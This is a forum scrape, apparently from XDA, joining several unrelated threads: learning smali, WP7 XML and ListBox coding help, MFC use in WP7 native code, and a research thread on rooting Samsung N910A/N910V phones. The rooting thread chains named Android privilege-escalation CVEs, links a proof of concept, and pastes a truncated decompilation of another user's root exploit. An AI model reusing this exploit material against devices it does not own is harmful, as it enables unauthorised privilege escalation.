Objection to Tutorials - Galaxy Y GT-S5360 General

Great developers all over xda make good guides and awesome mods.but all they do is writing the mod and say copy to bla bla and you are done. This don't create a real developer. I think you should explain the codes to us. If you don't mind some people wanna learn here

True but you should move the thread to the General section.

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The thread is in its right place....
ya GUIDE Codes shoul be explaind

I know java well, but most of Guides are on Smali language, I don't like copy paste cause I wanna learn it right, So what's the problem in explaining mods
@Jonny pls move this to general section, thanks

If you want to know what smali functions do then download Virtuous Ten Studio by Diamondback and the rest of the Virtuous team then look in the included smali help section.

Jonny said:
If you want to know what smali functions do then download Virtuous Ten Studio by Diamondback and the rest of the Virtuous team then look in the included smali help section.
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I don't mean the smali basics, I meant explaining mods in depth instead of this Copy-Paste, I will check VTS asap, thanks for suggestion

mohamedrashad said:
I don't mean the smali basics, I meant explaining mods in depth instead of this Copy-Paste, I will check VTS asap, thanks for suggestion
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With smali you are basically just moving numbers around and calling other methods (invoke and invoke-virtual) - usually you store the result in a register for example v0. Then you've got you're comparison statements like if-ne (if not equal), if-eq (if equal), if-nez (if not equal to zero) etc. Then you can also call resources by using the hex values in public.xml, eg const v4, "0x070000" for example.
Once you know the basic functions and principals of the language then its fairly easy to follow the code of the mods to find out what they're doing and what they're changing.

Jonny said:
With smali you are basically just moving numbers around and calling other methods (invoke and invoke-virtual) - usually you store the result in a register for example v0. Then you've got you're comparison statements like if-ne (if not equal), if-eq (if equal), if-nez (if not equal to zero) etc. Then you can also call resources by using the hex values in public.xml, eg const v4, "0x070000" for example.
Once you know the basic functions and principals of the language then its fairly easy to follow the code of the mods to find out what they're doing and what they're changing.
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Simpler than Java I should learn it soon

mohamedrashad said:
Simpler than Java I should learn it soon
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Ha! I wish, to do for example the following in java
Code:
Integer i = 1;
if (i = 0) {
return "wtf is happening!";
} else {
return "everything is normal";
}
in smali would be something like:
Code:
const v1, 0x1
const-string v2, "wtf is happening"
const-string v3, "everything is normal"
if-eqz v1 :cond_0
return v3
:cond_0
return v2
My syntax is probably not correct but this was just something wrote off the top of my head so... :highfive: Point is what you can do relatively easily in java with a couple of lines of code can be a pain in the neck and take up a lot of lines to do in smali - especially with more complex functions.
For example I'd hate to have to try and do something like this in smali (code snippet from an app I've made for my school).
Code:
class LoadNews extends AsyncTask<String, String, String> {
@Override
protected void onPreExecute() {
super.onPreExecute();
mProgress = new ProgressDialog(getSherlockActivity());
mProgress.setMessage("Loading news, Please wait...");
mProgress.setIndeterminate(false);
mProgress.setCancelable(true);
mProgress.show();
}
protected String doInBackground(String... args) {
List<NameValuePair> params = new ArrayList<NameValuePair>();
JSONObject json = jParser.makeHttpRequest(AllNewsItemsURL, "GET", params);
try {
int success = json.getInt(TAG_SUCCESS);
if (success == 1) {
newsItems = json.getJSONArray(NEWS);
for (int i = 0; i < newsItems.length(); i++) {
JSONObject obj = newsItems.getJSONObject(i);
Integer id = i + 1;
String title = obj.getString(TITLE);
String story = obj.getString(STORY);
String imageSrc = IMAGE_DIR_URL + obj.getString(IMAGE_SRC);
String date = obj.getString(DATE);
story = replace(story, imageSrc);
date = buildDate(date);
if (id > dbhandler.getNewsCount()) {
dbhandler.addNews(new News(id, title, story, imageSrc, date));
} else {
dbhandler.updateNews(new News(id, title, story, imageSrc, date));
}
if (isCancelled() || FlagCancelled) break;
}
} else {
Log.e("JSON Response", "success == 0");
}
} catch (JSONException e) {
e.printStackTrace();
}
return null;
}
protected void onPostExecute(String file_url) {
mProgress.dismiss();
getSherlockActivity().runOnUiThread(new Runnable() {
public void run() {
getNewsList();
}
});
}
}

Jonny said:
Ha! I wish, to do for example the following in java
Code:
Integer i = 1;
if (i = 0) {
return "wtf is happening!";
} else {
return "everything is normal";
}
in smali would be something like:
Code:
const v1, 0x1
const-string v2, "wtf is happening"
const-string v3, "everything is normal"
if-eqz v1 :cond_0
return v3
:cond_0
return v2
My syntax is probably not correct but this was just something wrote off the top of my head so... :highfive: Point is what you can do relatively easily in java with a couple of lines of code can be a pain in the neck and take up a lot of lines to do in smali - especially with more complex functions.
For example I'd hate to have to try and do something like this in smali (code snippet from an app I've made for my school).
Code:
class LoadNews extends AsyncTask<String, String, String> {
@Override
protected void onPreExecute() {
super.onPreExecute();
mProgress = new ProgressDialog(getSherlockActivity());
mProgress.setMessage("Loading news, Please wait...");
mProgress.setIndeterminate(false);
mProgress.setCancelable(true);
mProgress.show();
}
protected String doInBackground(String... args) {
List<NameValuePair> params = new ArrayList<NameValuePair>();
JSONObject json = jParser.makeHttpRequest(AllNewsItemsURL, "GET", params);
try {
int success = json.getInt(TAG_SUCCESS);
if (success == 1) {
newsItems = json.getJSONArray(NEWS);
for (int i = 0; i < newsItems.length(); i++) {
JSONObject obj = newsItems.getJSONObject(i);
Integer id = i + 1;
String title = obj.getString(TITLE);
String story = obj.getString(STORY);
String imageSrc = IMAGE_DIR_URL + obj.getString(IMAGE_SRC);
String date = obj.getString(DATE);
story = replace(story, imageSrc);
date = buildDate(date);
if (id > dbhandler.getNewsCount()) {
dbhandler.addNews(new News(id, title, story, imageSrc, date));
} else {
dbhandler.updateNews(new News(id, title, story, imageSrc, date));
}
if (isCancelled() || FlagCancelled) break;
}
} else {
Log.e("JSON Response", "success == 0");
}
} catch (JSONException e) {
e.printStackTrace();
}
return null;
}
protected void onPostExecute(String file_url) {
mProgress.dismiss();
getSherlockActivity().runOnUiThread(new Runnable() {
public void run() {
getNewsList();
}
});
}
}
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i'm just wondering why apk tool don't give us Java code The development would be easier

mohamedrashad said:
i'm just wondering why apk tool don't give us Java code The development would be easier
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That's to do with the Dalvik VM android apps run on. If you compiled standard java files (.java) for a standard java applet then those files would be compiled into .class files (which can be "reverse engineered" - though not particularly well and all reverse engineer software available for java currently should be used for guidance only as the code they output is nowhere near the original.
For android apps, these .class files are further compiled into a dalvik executable file with extension .dex - in an apk file this is called classes.dex. You can think of a classes.dex file as a compiled .exe file - you can't easily get readable/correct source of it. Exe files are therefore reverse engineered into their byte-code which is in a low-level language called Assembly Language (ASM).
Dalvik executables work in much the same way that they can be decompiled to their byte-code, which allows them to be edited without having the full source - unlike using a java decompiler, they give correct code for the language they are written in. The dalvik byte-code is the smali language so you can think of smali as the dalvik equivalent of ASM.
In short term, smali is editable and can be recompiled and run with no problems whereas code produced by current java decompilers cannot be used to make changes and then recompiled due to incorrect code given, so in this instance it was better for apktool to give a smali output :good:

mohamedrashad said:
i'm just wondering why apk tool don't give us Java code The development would be easier
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@Jonny
Have a look at this tool I found - maybe useful maybe not
http://forum.xda-developers.com/showthread.php?p=52853769

marcussmith2626 said:
@Jonny
Have a look at this tool I found - maybe useful maybe not
http://forum.xda-developers.com/showthread.php?p=52853769
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That doesn't seem too bad considering the likes of JAD and JD-GUI, however, I can still 100% guarantee that if you put that into Android Studio (or Eclipse but I prefer AS), it would not compile
Best to use decompiled java as a guideline or to search for methods you want to make mods out of - eg increasing the maximum number of pages in the HTC Sense 6.0 launcher (Prism.apk) you search for the method getMaxPageCount() in the decompiled java code, have a look at what the java was like then find out where to change the values and then do the actual mod in smali.

marcussmith2626 said:
@Jonny
Have a look at this tool I found - maybe useful maybe not
http://forum.xda-developers.com/showthread.php?p=52853769
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These apps (java decompiler) are good to learn some tricks in apps but non give a ready-to-import Eclipse project which make them 75% useless

mohamedrashad said:
These apps (java decompiler) are good to learn some tricks in apps but non give a ready-to-import Eclipse project which make them 75% useless
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I dont have any experience of programming so I dont know the use of these things but I spose Its interesting to compare
My main expertise is end user software/hardware support and repair for pcs/laptops - I just look at android as a hobby for fun as something different

marcussmith2626 said:
I dont have any experience of programming so I dont know the use of these things but I spose Its interesting to compare
My main expertise is end user software/hardware support and repair for pcs/laptops - I just look at android as a hobby for fun as something different
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You should learn programming, for pc or android, you are missing a lot of fun here

Related

[Q] WP7 - Removing an XElement from an XML file

Hi there,
I'm having a big issue, when trying to remove an XElement from an XML file created in IsolatedStorage.
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Code to CREATE the XML file
Dim File_to_Create As String = "Tracks.xml"
Dim file As XDocument = <?xml version="1.0" encoding="UTF-8"?>
<dataroot xmlnsd="urn:schemas-microsoft-comfficedata" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="Cartridges.xsd" generated="2010-11-23T14:26:55">
<Carts>
<CART_NAME>First</CART_NAME>
<CART_COLOR>White</CART_COLOR>
</Carts>
<Carts>
<CART_NAME>Second</CART_NAME>
<CART_COLOR>Black</CART_COLOR>
</Carts>
</dataroot>
Dim isoStore As IsolatedStorageFile = IsolatedStorageFile.GetUserStoreForApplication()
Try
If isoStore.FileExists(File_to_Create) Then
MessageBox.Show(File_to_Create + " TRUE")
Else
MessageBox.Show(File_to_Create + " FALSE")
Dim oStream As New IsolatedStorageFileStream(File_to_Create, FileMode.Create, isoStore)
Dim writer As New StreamWriter(oStream)
writer.WriteLine(file)
writer.Close()
MessageBox.Show("OK")
End If
Catch ex As Exception
MessageBox.Show(ex.Message)
Finally
'open selected file
Dim isoStream As IsolatedStorageFileStream
isoStream = New IsolatedStorageFileStream(File_to_Create, System.IO.FileMode.Open, System.IO.FileAccess.Read, isoStore)
Dim XML_File As XDocument = XDocument.Load(isoStream)
Dim Cart_Query As System.Collections.IEnumerable = From query In XML_File.Descendants("Carts") Order By _
CStr(query.Element("CART_NAME")) Descending, CStr(query.Element("CART_NAME"))
Select New Class_Cartridge_Data With {.Cart_Name = CStr(query.Element("CART_NAME")), _
.Cart_Color = CStr(query.Element("CART_COLOR"))}
Me.ListBox_Cartridges.ItemsSource = Cart_Query
isoStore.Dispose()
isoStream.Close()
End Try
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Code to ADD / EDIT XElement
Dim File_to_Create As String = "Tracks.xml"
Dim XML_IsolatedStorage = IsolatedStorageFile.GetUserStoreForApplication()
' Check that the file exists if not create it
If Not (XML_IsolatedStorage.FileExists(File_to_Create)) Then
Return
End If
Dim XML_StreamReader As New StreamReader(XML_IsolatedStorage.OpenFile(File_to_Create, FileMode.Open, FileAccess.Read))
Dim XML_Document As XDocument = XDocument.Parse(XML_StreamReader.ReadToEnd())
XML_StreamReader.Close()
' Update the element if it exist or create it if it doesn't
Dim XML_XElement As XElement = XML_Document.Descendants("Carts").Where(Function(c) c.Element("CART_NAME").Value.Equals("First")).FirstOrDefault()
If XML_XElement IsNot Nothing Then
XML_XElement.SetElementValue("CART_NAME", "Third")
Else
' Add new
Dim newProgress As New XElement("Cartridges", New XElement("CART_NAME", "Fourth"), New XElement("CART_COLOR", "Blue"))
Dim rootNode As XElement = XML_Document.Root
rootNode.Add(newProgress)
End If
Using XML_StreamWriter As New StreamWriter(XML_IsolatedStorage.OpenFile(File_to_Create, FileMode.Open, FileAccess.Write))
XML_StreamWriter.Write(XML_Document.ToString())
XML_StreamWriter.Close()
End Using
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Now my issue and request for some help!
If I use
XML_XElement.Remove
then the following exception is raised whenever I try to "refresh" the bounded ListBox
System.Xml.XmlException was unhandled
LineNumber=37
LinePosition=12
Message=Data at the root level is invalid. Line 37, position 12.
SourceUri=""
StackTrace:
at System.Xml.XmlTextReaderImpl.Throw(Exception e)
at System.Xml.XmlTextReaderImpl.Throw(Int32 res, String resString, String[] args)
at System.Xml.XmlTextReaderImpl.Throw(Int32 res, String resString)
at System.Xml.XmlTextReaderImpl.ParseRootLevelWhitespace()
at System.Xml.XmlTextReaderImpl.ParseDocumentContent()
at System.Xml.XmlTextReaderImpl.Read()
at System.Xml.Linq.XContainer.ReadContentFrom(XmlReader r)
at System.Xml.Linq.XContainer.ReadContentFrom(XmlReader r, LoadOptions o)
at System.Xml.Linq.XDocument.Load(XmlReader reader, LoadOptions options)
at System.Xml.Linq.XDocument.Load(Stream stream, LoadOptions options)
at System.Xml.Linq.XDocument.Load(Stream stream)
at ListBox_Data_from_XML_LINQ.MainPage.Button_Create_XML_Click(Object sender, RoutedEventArgs e)
at System.Windows.Controls.Primitives.ButtonBase.OnClick()
at System.Windows.Controls.Button.OnClick()
at System.Windows.Controls.Primitives.ButtonBase.OnMouseLeftButtonUp(MouseButtonEventArgs e)
at System.Windows.Controls.Control.OnMouseLeftButtonUp(Control ctrl, EventArgs e)
at MS.Internal.JoltHelper.FireEvent(IntPtr unmanagedObj, IntPtr unmanagedObjArgs, Int32 argsTypeIndex, String eventName)
InnerException:
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In short, I can add or edit, but cannot DELETE an XElement...
Any ideas?
Thanks in advance!
Can you post the code you are using for XElement.Remove and use code tags so the formatting is right. Its the # button on the post toolbar.
Ren13B said:
Can you post the code you are using for XElement.Remove and use code tags so the formatting is right. Its the # button on the post toolbar.
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Well, I did nothing special, just the XML_Element.remove, instead of adding a new xelement.
Then the error raises whenever I try to reopen the XML file.
My point is, how can I delete an specific xelement?
As far as I know, the following code should work
Code:
Dim XML_XElement As XElement = XML_Document.Descendants("Carts").Where(Function(c ) c.Element("CART_NAME").Value.Equals("First")).Firs tOrDefault()
If XML_XElement IsNot Nothing Then
XML_XElement.SetElementValue("CART_NAME", "Third")
Else
' remove the selected record
XML_XElement.Remove
End If
Honestly I don't know if the foregoing code is correct or if the issue is related to how WP7 handles the removal thus corrupting the original file.
Please let me know if you need anything else.
Any help is very appreciated!
PS: Thanks for the other replies, helped a lot!
Here's how I did it in c#. My xml file is very different than yours so the query will be different but the important parts are where you load and close the file streams and then write.
Code:
//Get users private store info
IsolatedStorageFile isoStore = IsolatedStorageFile.GetUserStoreForApplication();
IsolatedStorageFileStream isoStream;
//open selected file
isoStream = new IsolatedStorageFileStream(list, System.IO.FileMode.Open, System.IO.FileAccess.Read, isoStore);
XDocument xml = XDocument.Load(isoStream);
isoStream.Close();
//Find section
XElement sectionElement = xml.Descendants("section").Where(c => c.Attribute("name").Value.Equals(groupn)).FirstOrDefault();
//Find item and remove it
sectionElement.Elements("setting").Where(c => c.Attribute("name").Value.Equals(litem)).FirstOrDefault().Remove();
isoStream.Close(); //Seems unnecessary but it's needed.
//Write xml file
isoStream = new IsolatedStorageFileStream(list, FileMode.Create, FileAccess.Write, isoStore);
xml.Save(isoStream);
isoStream.Close();
Thanks again for your help, greatly appreciated.
However I'm still getting the same error.
Sorry for asking, but are you getting any errors when deleting in WP7 ?
My knowledge on XML is extremely new and I'm sure that I'm making some mistakes somewhere...
But so far, I cannot get past the same exception.
Seems that the XML gots "corrupted" after the delete operation.
On the other hand, if is not too much to ask for, using my current code, how will handle the delete of the selected record?
Thanks!
I have no problem at all removing elements in c#. I don't have vb support even installed right now. If you think it's a bug you should post on the forums at http://forums.create.msdn.com/forums/98.aspx
Ren13B said:
I have no problem at all removing elements in c#. I don't have vb support even installed right now. If you think it's a bug you should post on the forums at http://forums.create.msdn.com/forums/98.aspx
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Problem is my country is not listed so I cannot register...
Here is the C# version of my current code for adding/editing
Code:
public static void ADD_XML_Record()
{
string File_to_Create = "Tracks.xml";
var XML_IsolatedStorage = IsolatedStorageFile.GetUserStoreForApplication();
// Check that the file exists if not create it
if (! (XML_IsolatedStorage.FileExists(File_to_Create)))
{
return;
}
StreamReader XML_StreamReader = new StreamReader(XML_IsolatedStorage.OpenFile(File_to_Create, FileMode.Open, FileAccess.Read));
XDocument XML_Document = XDocument.Parse(XML_StreamReader.ReadToEnd());
XML_StreamReader.Close();
// Update the element if it exist or create it if it doesn't
XElement XML_XElement = XML_Document.Descendants("Carts").Where((c) => c.Element["CART_NAME"].Value.Equals("dd")).FirstOrDefault();
if (XML_XElement != null)
{
XML_XElement.SetElementValue("CART_NAME", "bbbbb");
}
else
{
// Add new
XElement newProgress = new XElement("Carts", new XElement("CART_NAME", "dd"), new XElement("CART_COLOR", "ff"));
XElement rootNode = XML_Document.Root;
rootNode.Add(newProgress);
}
using (StreamWriter XML_StreamWriter = new StreamWriter(XML_IsolatedStorage.OpenFile(File_to_Create, FileMode.Open, FileAccess.Write)))
{
XML_StreamWriter.Write(XML_Document.ToString());
XML_StreamWriter.Close();
}
}
I tried your code but I'm having a bad time making it to work.
If not a big deal, please could you tell me how to modify it ?
I mean, if a record is found, instead of editing, to remove it?
Honestly I'm stuck and any help is more than apprecisted!
Ren13B said:
I have no problem at all removing elements in c#. I don't have vb support even installed right now. If you think it's a bug you should post on the forums at http://forums.create.msdn.com/forums/98.aspx
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Ren,
Just to say thank you for your last code. I made a little mod and now it works ok!
Thanks a lot for helping me out!

ListBox.ItemTemplate error

hey guys I am getting an error when I am trying to put a twitter feed in my blog app. The error says
“The attachable property ‘ItemTemplate’ was not found in type ‘ListBox’.”
what does this mean. Here is the code that I put in my listbox on the Xaml.
Code:
<ListBox.ItemTemplate>
<DataTemplate>
<StackPanel Orientation="Horizontal" Height="132">
<Image Source="{Binding ImageSource}" Height="73" Width="73" VerticalAlignment="Top" Margin="0,10,8,0"/>
<StackPanel Width="370">
<TextBlock Text="{Binding UserName}" Foreground="#FF2276BB" FontSize="28" />
<TextBlock Text="{Binding Message}" TextWrapping="Wrap" FontSize="24" />
<HyperlinkButton Content="{Binding TweetSource}" Height="30" HorizontalAlignment="Left" VerticalAlignment="Top" FontSize="18" Foreground="#FF999999" />
</StackPanel>
</StackPanel>
</DataTemplate>
</ListBox.ItemTemplate>
any help would be appreciated.
Posted XAML code is OK so I can only guess. Probably you've referenced a wrong assembly in your project. Post whole project.
http://blog.objectgraph.com/index.php/2010/03/26/how-to-create-a-twitter-client-on-windows-phone-7/
I am using that site as a guide and putting it in the Wordpress Starter Kit I added a panarama item called Twitter, added a list box and a button and a TextBlock (the text block says OmegaRa) and the buttons says refresh. I am at work currently, so I can't post the rest of my code...
edit: if it matters I named the listbox Twitterfeed, I know I had to alter a couple spots with that to get rid of errors. Plus the original code is for 7.0, in VS2010, I right clicked on the Solution and clicked Upgrade to 7.1...
Seems like this toolkit has a different assemblies for 7.0 and 7.1 (located at sl3-wp & sl4-windowsphone71 folders), check your project references for correct library (7.1).
okay, I am a complete newb when it comes to coding (hence the starter kit and tutorial) how would I go about doing that?
Solution Explorer (on your right) -> References -> click on assembly and check properties. Press Del to remove assembly. Right click and press "Add assembly" from the context menu.
P.S. But before start coding I'm strongly recommend you to RTFM (Read The Following Manual, not the "fu%?ng" one ). Download/buy and read a good manual for Visual Studio and .NET first...
That would probably be a good idea LOL. I just like figuring it out sometimes though, but it would probably go faster if I read something about it first lol.
edit: I will try looking at that when I get home from work and after my daughters birthday dinner lol
Okay, I am home and looking at the references, which assembly would it be?
progress, fixed that part forgot the
Code:
<listbox></listbox>
surrounding it, but when I hit refresh...is doen't get my feed, lol it says something about wordpress starter kit + tweet or something lol.
here is the code for the button
Code:
private void button3_Click(object sender, RoutedEventArgs e)
{
WebClient twitter = new WebClient();
twitter.DownloadStringCompleted += new DownloadStringCompletedEventHandler(twitter_DownloadStringCompleted);
twitter.DownloadStringAsync(new Uri("http://api.twitter.com/1/statuses/user_timeline.xml?screen_name=" + tbUsername.Text));
}
void twitter_DownloadStringCompleted(object sender, DownloadStringCompletedEventArgs e)
{
try
{
XElement element = XElement.Parse(e.Result);
TwitterFeed.ItemsSource = from tweet in element.Descendants("status")
select new Tweet
{
UserName = tweet.Element("user").Element("screen_name").Value,
Message = tweet.Element("text").Value,
ImageSource = tweet.Element("user").Element("profile_image_url").Value,
TweetSource = FormatTimestamp(tweet.Element("source").Value, tweet.Element("created_at").Value)
};
}
catch (Exception)
{
}
}
public class Tweet
{
public string UserName { get; set; }
public string Message { get; set; }
public string ImageSource { get; set; }
public string TweetSource { get; set; }
}
private string StripHtml(string val)
{
return System.Text.RegularExpressions.Regex.Replace(HttpUtility.HtmlDecode(val), @"<[^>]*>", "");
}
private string DateFormat(string val)
{
string format = "ddd MMM dd HH:mm:ss zzzz yyyy";
DateTime dt = DateTime.ParseExact(val, format, System.Globalization.CultureInfo.InvariantCulture);
return dt.ToString("h:mm tt MMM d");
}
private string FormatTimestamp(string imageSource, string date)
{
return DateFormat(date) + " via " + StripHtml(imageSource);
}
}
}
what the screen says when I hit refresh is WordpressStarterKit.Mainpage+Tweet, and I notice that the button and the Text Block stay on the screen no matter if I pan or not....
PM me your project in archive, I'll correct your errors and send back.
If I change
Code:
twitter.DownloadStringAsync(new Uri("http://api.twitter.com/1/statuses/user_timeline.xml?screen_name=" + tbUsername.Text));
to
Code:
twitter.DownloadStringAsync(new Uri"http://api.twitter.com/1/statuses/user_timeline.xml?screen_name=OmegaRa" );
would that fix it? I am just curious to see if I am right..
All issues solved, mod can close thread if they want.

MFC support for native WP7 Dll (and Exe too)

Hello friends.
I am a lazy person with a lack of time. So, when I wanted to Phone Commander to add support for exporting registry keys to a file, I found an older, freely usable code (first I tried RegSaveKey coredll function, but I coud not elevate calling Process privilegies). PCMD will be the first "ondevice" WP7 application that allows you to export this (thanks Ultrashot we can also do it from a PC by Remote Tools). Unfortunately, the obtained code was using an MFC classes (CFile etc). Probably would not be a problem to rewrite it for another entry in the file, but I do not want change 3rd code. And MFC can be useful in the future too.
There were basically two options:
1. Use dynamic linking, because statically linking MFC to ATL is not allowed (conflicts of application instances). But then I had to get the correct library and try if they will run on WP7. In the future, I'll try.
2. Take all the MFC source code (included in WM DTK) and rewrite them to work statically in WP7, with prepared out CWinApp etc. It was a nasty job, but for some classes (especially CFile) is complete and functional to use. Next week there will publish libraries, source code and tutorial to use MFC classes in ATL native WP7 projects. EDIT: See 2nd post, this is probably better way then first one.
Meanwhile small code sample to export registers (ExportRegKey is 3rd function using CFile parameter):
Code:
BOOL ExportRegKey(HKEY hroot, const CString &root, const CString &key, CFile &out);
STDMETHODIMP CRegistryX::RegExportKeySimple(DWORD dwKey, LPCWSTR szSubKey, LPCWSTR szFileName)
{
TRACE(L"RegExportKeySimple(DWORD dwKey = %X, LPCWSTR szSubKey = %s, LPCWSTR szFileName = %s)", dwKey, szSubKey, szFileName);
try
{
HKEY hKey = (HKEY) dwKey;
LONG lRes = ERROR_SUCCESS;
CString root = L"";
switch (dwKey)
{
case HKEY_LOCAL_MACHINE:
{
root = _T("HKEY_LOCAL_MACHINE");
} break;
case HKEY_CURRENT_USER:
{
root = _T("HKEY_CURRENT_USER");
} break;
case HKEY_CLASSES_ROOT:
{
root = _T("HKEY_CLASSES_ROOT");
} break;
case HKEY_USERS:
{
root = _T("HKEY_USERS");
} break;
/*
case HKEY_CURRENT_CONFIG:
{
root = _T("HKEY_CURRENT_CONFIG");
} break;
*/
default:
{
root = _T("HKEY_UNKNOWN");
} break;
root = _T("");
}
CString key = szSubKey;
CFile out;
out.Open(szFileName, CFile::modeWrite | CFile::modeCreate );
lRes = ExportRegKey(hKey, root, key, out);
out.Close();
TRACE(L"RegExportKeySimple ExportRegKey lRes = %d)", lRes);
if (lRes == ERROR_SUCCESS)
{
return S_OK;
}
else
{
return ReturnError(L"RegSetDwordSimple RegSetValueEx", 0x80070000 | lRes);
}
}
catch (...)
{
return ReturnError(L"RegGetDwordSimple", GetLastError());
}
}
This is also Native TRACE example to see native messages in VP2010 managed Output window.
Full MFC using
I tried FULL MFC from VS2008 CE SDK using and this is possible.
1. Exe files - success with statical or dynamical MFC linking. Drawable components may have problems only.
2. Static linking to dll: If we can want use native dll with statically linked MFC to managed VS2010 dll or application, there are two ways:
- To change our usual COM interface to MFC standard. It may be possible, but I did not try it.
- To make ATL interstitial ATL dll with COM interface, which can call exported functions from MFC dll.
3. Dynamical MFC linking to ATL (COM) dll. I mean thi is the best way now.
For dynamical linking MFC dlls must be copied to device - to appplication directory or ideally to \Windows directory. Mostly:
\\Program Files (x86)\Microsoft Visual Studio 9.0\VC\ce\dll\ARMV4I\msvcr90.dll
\\Program Files (x86)\Microsoft Visual Studio 9.0\VC\ce\dll\ARMV4I\atl90.dll
\\Program Files (x86)\Microsoft Visual Studio 9.0\VC\ce\dll\ARMV4I\msvcr90d.dll
\\Program Files (x86)\Microsoft Visual Studio 9.0\VC\ce\dll\ARMV4I\MFC90UD.dll

[R&D] Rooting N910A/N910V Models

Welcome​First I have to ask that everyone please follow the rules when posting in here.​The last thread was shut down due to people getting off topic so let's stay on track here, if you have a question that you'd like to ask and are unsure if it belongs here then simply PM me and I'll help. In order to get things going I've added a simple FAQ below for people who may not be up to speed.​
Q: What's needed to root the N910A/N910V?
A: A kernel exploit and an Android OS exploit.
Q: What's the current status?
A: We have a kernel exploit that will work for us and the method to implement it. Our next goal is to apply an Android exploit which will grant us System UID in order to apply our kernel exploit and write root.
Q: What exploit are we using for the kernel side?
A. The exploit will be the work of @zxz0O0 and is based off of CVE-2014-4322. This is confirmed NOT patched by Samsung.
Q: What exploit are we using for Android side?
A. Current target is CVE-2015-1474. We've explored a previous exploit which has proven to work for the Sony Z3 (CVE-2014-7911), but unfortunately Samsung fixed this prior to releasing our devices.
Current Focus - Creating an APK that will exploit CVE-2015-1474 to elevate us to System UID. This is where we are at this current time. We will need a crafty Dev to come up with such APK. I am a novice when it comes to scripting and exploiting but in my free time I've been soaking up as much information as I possibly can to help in the future.
.
Working on PoC here:
https://github.com/p1gl3t/CVE-2015-1474_poc
Other Threads working on 2015-1474
http://forum.xda-developers.com/kin...luating-cve-2015-1474-to-escalate-to-t3045163​​
android-DEP said:
@ZPaul2Fresh8 confirmed that CVE-2014-4322 (qseecom) is fixed in N910AUCU1BNK3 but it might not be in N910AUCU1ANIE.
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To clarify, CVE-2014-4322 is NOT patched in ANY baseband version on our devices. CVE-2014-7911 is the patched.
munjeni said:
Its not obfuscated if you think about file called "main"! It is 7z archive but removed first 2 bytes "7z" or hex "377A", just simple open "main" file with hex editor and append 2 bytes 37 7A to the start of the file and save them! It is password protected 7z archive and you must research for password in asembly if you think to open them with 7z I stil have no idea what is purpose of these "main" file (malware?) when there is another one "main" file (tar.gz) which is extracted when you execute file "a", but I know thats a two diferent "main" files!
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From @idler1984 , here's the explanation of the 'a' and 'main' files. HERE.
jorgasm209 said:
Not sure how to prove something that isn't there... hard to prove a negative. APK is claiming not vulnerable even with the apparent absence of checkAndGetTcObjectClass in the firmware. Someone much smarter than me can attempt to find out why My bet is on @android-DEP ... see post above regarding ServiceExploitActivity.java.
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It's been confirmed by me that exploit CVE-2014-7911 has been patched in the latest OTA (NK3 on AT&T) and I believe @zxz0O0 confirmed it on the earlier baseband too. If you're in doubt and you're running the earlier build, just go to system/framework/core.odex and you'll find the function is located there...
Now if you're just skimming through here let me catch everyone up to speed here;​
At this point in order to achieve root for our devices we will need a combination of exploits. There are a ton of CVE's being thrown and I can see why people are getting confused so I'll try to make it easier to understand. I'll break it down by CVE #.
CVE-2014-7911 - Patched so it doesn't matter. Android OS exploit to gain System UID. Not Root
CVE-2014-8609 - Android OS exploit. Possibly our next venture for gaining System UID, I've been told otherwise. Another vulnerability exists that may be easier. CVE-2015-1474
CVE-2014-4322 - Kernel exploit. Un-patched. Used to get Root while in System status.
So we need an exploit to get us System status and from there we pretty much have CVE-2014-4322 exploit to get Root from there.
Now, you may have read about Root solutions such as geifroot & 2014-79xx but forget about them because they are all based on Team Keen's exploit of CVE-2014-7911 which we confirmed has been backported and patched from day 1 on our devices. So in order to proceed we need a new exploit to get System status first... that vulnerability may be 2015-1474....
ZPaul2Fresh8, thanks for this write up. Finally someone who has understood the situation. I'm not really experienced in Java but I believe CVE-2014-8609 will not be useful. This exploit is for broadcasting actions to apps (e.g. dialing), not executing shell commands or binaries.
zxz0O0 said:
ZPaul2Fresh8, thanks for this write up. Finally someone who has understood the situation. I'm not really experienced in Java but I believe CVE-2014-8609 will not be useful. This exploit is for broadcasting actions to apps (e.g. dialing), not executing shell commands or binaries.
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I understand, but what are the possible Broadcasts at our disposal? Whatever broadcast we send will be of System UID so maybe we can find something if we look hard enough?
I have Liang Chen (Team Keen (http://en.wikipedia.org/wiki/Pwn2Own#Contest_2014)) looking into CVE-2014-8609 to see if we can achieve System UID.
munjeni said:
Guys, CVE-2014-4322 root exploit from retme7 is not working, it need a lot of modifications, I am working on this 3 days and I am on 90 percent of luck, I am now stuck with this -> http://forum.xda-developers.com/showpost.php?p=58460530&postcount=1171
If you have idea for how I can change app_id than I will get it working and will share source with you!
This is decompiled source from guy who have it working and don't want to share them:
Code:
void sub_89F4(void) {
;
}
int __fastcall sub_8A78(signed int a1, int a2)
{
signed int v2; // [email protected]
FILE *v3; // [email protected]
void *v4; // [email protected]
signed int v5; // [email protected]
FILE *v6; // [email protected]
int v7; // [email protected]
char v8; // [email protected]
const char *v9; // [email protected]
_UNKNOWN *v10; // [email protected]
_UNKNOWN *v11; // [email protected]
char **v12; // [email protected]
const char *v13; // [email protected]
int result; // [email protected]
int ion_fd; // [email protected]
int v16; // [email protected]
int v17; // [email protected]
int *v18; // [email protected]
char *v19; // [email protected]
int v20; // [email protected]
int qseecom_fd; // [email protected]
int v22; // [email protected]
int v23; // [email protected]
int v24; // [email protected]
int *v25; // [email protected]
char *v26; // [email protected]
int *v27; // [email protected]
int v28; // [email protected]
int v29; // [email protected]
int v30; // [email protected]
int v31; // [email protected]
int v32; // [email protected]
int v33; // [email protected]
int v34; // [email protected]
int v35; // [email protected]
int *v36; // [email protected]
int v37; // [email protected]
int v38; // [email protected]
int v39; // [email protected]
int v40; // [email protected]
int *v41; // [email protected]
int v42; // [email protected]
int v43; // [email protected]
void *v44; // [email protected]7
int v45; // [email protected]
int v46; // [email protected]
unsigned int v47; // [email protected]
int v48; // [email protected]
int v49; // [email protected]
int v50; // [email protected]
int *v51; // [email protected]
int ptmx_fd; // [email protected]
int v53; // [email protected]
int v54; // [email protected]
int v55; // [email protected]
int v56; // [email protected]
int *v57; // [email protected]
char *v58; // [email protected]
int v59; // [sp+Ch] [bp-1F4h]@1
int memfile_fd; // [sp+Ch] [bp-1F4h]@26
void *ion_void; // [sp+14h] [bp-1ECh]@26
int v62; // [sp+18h] [bp-1E8h]@24
int v63; // [sp+1Ch] [bp-1E4h]@38
int v64; // [sp+20h] [bp-1E0h]@38
int v65; // [sp+24h] [bp-1DCh]@38
